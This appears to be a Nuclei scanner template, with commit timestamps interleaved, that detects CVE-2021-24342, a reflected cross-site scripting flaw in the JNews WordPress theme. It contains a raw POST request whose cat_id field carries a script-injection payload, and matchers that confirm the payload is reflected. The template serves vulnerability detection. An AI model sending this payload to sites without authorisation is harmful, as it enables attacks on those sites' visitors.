2021-09-15 05:02:38 +00:00
id : CVE-2021-24342
info :
name : JNews < 8.0.6 - Reflected Cross-Site Scripting (XSS)
author : pikpikcu
severity : medium
description : JNews WordPress theme before 8.0.6 did not sanitise the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*), leading to a Reflected Cross-Site Scripting (XSS) issue.
reference :
- https://wpscan.com/vulnerability/415ca763-fe65-48cb-acd3-b375a400217e
- https://nvd.nist.gov/vuln/detail/CVE-2021-24342
2021-09-15 10:50:34 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-15 10:50:34 +00:00
cve-id : CVE-2021-24342
cwe-id : CWE-79
2022-08-27 04:41:18 +00:00
tags : cve2021,wordpress,xss,wp-plugin,wpscan,cve
2021-09-15 05:02:38 +00:00
requests :
- raw :
- |
POST /?ajax-request=jnews HTTP/1.1
Host : {{Hostname}}
Accept : */*
Content-Type : application/x-www-form-urlencoded
2021-09-15 05:04:51 +00:00
2021-09-15 09:05:51 +00:00
lang=en_US&cat_id=6"></script><script>alert(document.domain)</script>&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67
2021-09-15 05:02:38 +00:00
matchers-condition : and
matchers :
- type : word
words :
2021-09-15 09:05:51 +00:00
- '</script><script>alert(document.domain)</script>'
2021-09-15 05:02:38 +00:00
part : body
- type : word
words :
- 'Content-Type : text/html'
part : header
- type : status
status :
- 200